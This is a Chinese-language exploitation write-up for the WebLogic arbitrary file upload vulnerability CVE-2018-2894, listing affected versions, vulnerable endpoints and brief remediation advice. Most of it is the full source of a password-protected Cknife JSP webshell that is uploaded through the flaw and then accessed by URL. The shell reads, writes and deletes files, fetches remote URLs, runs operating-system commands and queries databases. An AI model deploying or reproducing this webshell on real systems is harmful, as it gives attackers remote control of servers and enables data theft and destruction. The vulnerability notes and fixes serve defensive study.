weblogic 任意文件上传 CVE-2018-2894

一、漏洞简介

在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞， Web Service Test Page 在"生产模式"下默认不开启，所以该漏洞有一定限制。利用该 漏洞，可以上传任意 jsp 文件，进而获取服务器权限。

二、影响范围

Oracle WebLogic Server版本

10.3.6.0

12.1.3.0

12.2.1.2

12.2.1.3

三、影响页面

该漏洞的影响模块为web服务测试页，在默认情况下不启用。

/ws_utc/config.do

/ws_utc/begin.do

通过测试在10.3.6版本上未发现该功能 登录控制台 ->  base_domain -> 高级 -> 勾选启用Web服务测试页 ->保存

四、漏洞复现

Weblogic任意文件上传漏洞（CVE-2018-2894）复现-CSDN博客

修改目录

上传jsp大马，文件名为chao.jsp 密码为:Cknife

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "Cknife";String cs = "UTF-8";String EC(String s) throws Exception {return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s) throws Exception {String[] x = s.trim().split("choraheiheihei");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if (x.length > 4) {c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb) throws Exception {File k = new File("");File r[] = k.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF = new File(s), l[] = oF.listFiles();String sT, sQ, sF = "";java.util.Date dt;SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for (int i = 0; i < l.length; i++) {dt = new java.util.Date(l[i].lastModified());sT = fm.format(dt);sQ = l[i].canRead() ? "R" : "";sQ += l[i].canWrite() ? " W" : "";if (l[i].isDirectory()) {sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");} else {sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";}}sb.append(sF);}void EE(String s) throws Exception {File f = new File(s);if (f.isDirectory()) {File x[] = f.listFiles();for (int k = 0; k < x.length; k++) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b = new byte[512];r.reset();ServletOutputStream os = r.getOutputStream();BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));os.write(("->" + "|").getBytes(), 0, 3);while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}os.write(("|" + "<-").getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h = "0123456789ABCDEF";File f = new File(s);f.createNewFile();FileOutputStream os = new FileOutputStream(f);for (int i = 0; i < d.length(); i += 2) {os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));}os.close();}void HH(String s, String d) throws Exception {File sf = new File(s), df = new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] = sf.listFiles();for (int j = 0; j < z.length; j++) {HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());}} else {FileInputStream is = new FileInputStream(sf);FileOutputStream os = new FileOutputStream(df);int n;byte[] b = new byte[512];while ((n = is.read(b, 0, 512)) != -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf = new File(s), df = new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f = new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f = new File(s);SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt = fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u = new URL(s);int n = 0;FileOutputStream os = new FileOutputStream(d);HttpURLConnection h = (HttpURLConnection) u.openConnection();InputStream is = h.getInputStream();byte[] b = new byte[512];while ((n = is.read(b)) != -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br = new BufferedReader(new InputStreamReader(is));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}}void NN(String s, StringBuffer sb) throws Exception {Connection c = GC(s);ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) + "\t|\t\r\n");}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c = GC(s);String[] x = s.trim().split("choraheiheihei");ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});while (r.next()) {sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x = s.trim().split("\r\n");Connection c = GC(s);Statement m = c.createStatement(1005, 1007);ResultSet r = m.executeQuery("select * from " + x[x.length-1]);ResultSetMetaData d = r.getMetaData();for (int i = 1; i <= d.getColumnCount(); i++) {sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {Connection c = GC(s);Statement m = c.createStatement(1005, 1008);BufferedWriter bw = null;try {ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d = r.getMetaData();int n = d.getColumnCount();for (int i = 1; i <= n; i++) {sb.append(d.getColumnName(i) + "\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file = new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));}while (r.next()) {for (int i = 1; i <= n; i++) {if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+"" + "\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}} catch (Exception e) {sb.append("Result\t|\t\r\n");try {m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");} catch (Exception ee) {sb.append(ee.toString() + "\t|\t\r\n");}}m.close();c.close();}
%>
<%//String Z = EC(request.getParameter(Pwd) + "", cs);cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;request.setCharacterEncoding(cs);response.setContentType("text/html;charset=" + cs);StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {try {String Z = EC(request.getParameter("action") + "");String z1 = EC(request.getParameter("z1") + "");String z2 = EC(request.getParameter("z2") + "");sb.append("->" + "|");String s = request.getSession().getServletContext().getRealPath("/");if (Z.equals("A")) {sb.append(s + "\t");if (!s.substring(0, 1).equals("/")) {AA(sb);}} else if (Z.equals("B")) {BB(z1, sb);} else if (Z.equals("C")) {String l = "";BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l = br.readLine()) != null) {sb.append(l + "\r\n");}br.close();} else if (Z.equals("D")) {BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");} else if (Z.equals("E")) {EE(z1);sb.append("1");} else if (Z.equals("F")) {FF(z1, response);} else if (Z.equals("G")) {GG(z1, z2);sb.append("1");} else if (Z.equals("H")) {HH(z1, z2);sb.append("1");} else if (Z.equals("I")) {II(z1, z2);sb.append("1");} else if (Z.equals("J")) {JJ(z1);sb.append("1");} else if (Z.equals("K")) {KK(z1, z2);sb.append("1");} else if (Z.equals("L")) {LL(z1, z2);sb.append("1");} else if (Z.equals("M")) {String[] c = { z1.substring(2), z1.substring(0, 2), z2 };Process p = Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals("N")) {NN(z1, sb);} else if (Z.equals("O")) {OO(z1, sb);} else if (Z.equals("P")) {PP(z1, sb);} else if (Z.equals("Q")) {QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");}} catch (Exception e) {sb.append("ERROR" + ":// " + e.toString());}sb.append("|" + "<-");out.print(sb.toString());
}
%>

查看时间戳 

http://192.168.116.144:7001/ws_utc/css/config/keystore/1715496339972_chao.jsp

访问木马文件

 

五、修复建议

1、 设置config.do,begin.do页面登录授权后访问；

2、 IPS等防御产品可以加入相应的特征；

3、 升级到官方的最新版本；

参考文章:实操Weblogic 任意文件上传漏洞（CVE-2018-2894）附jsp大马源码-腾讯云开发者社区-腾讯云 (tencent.com)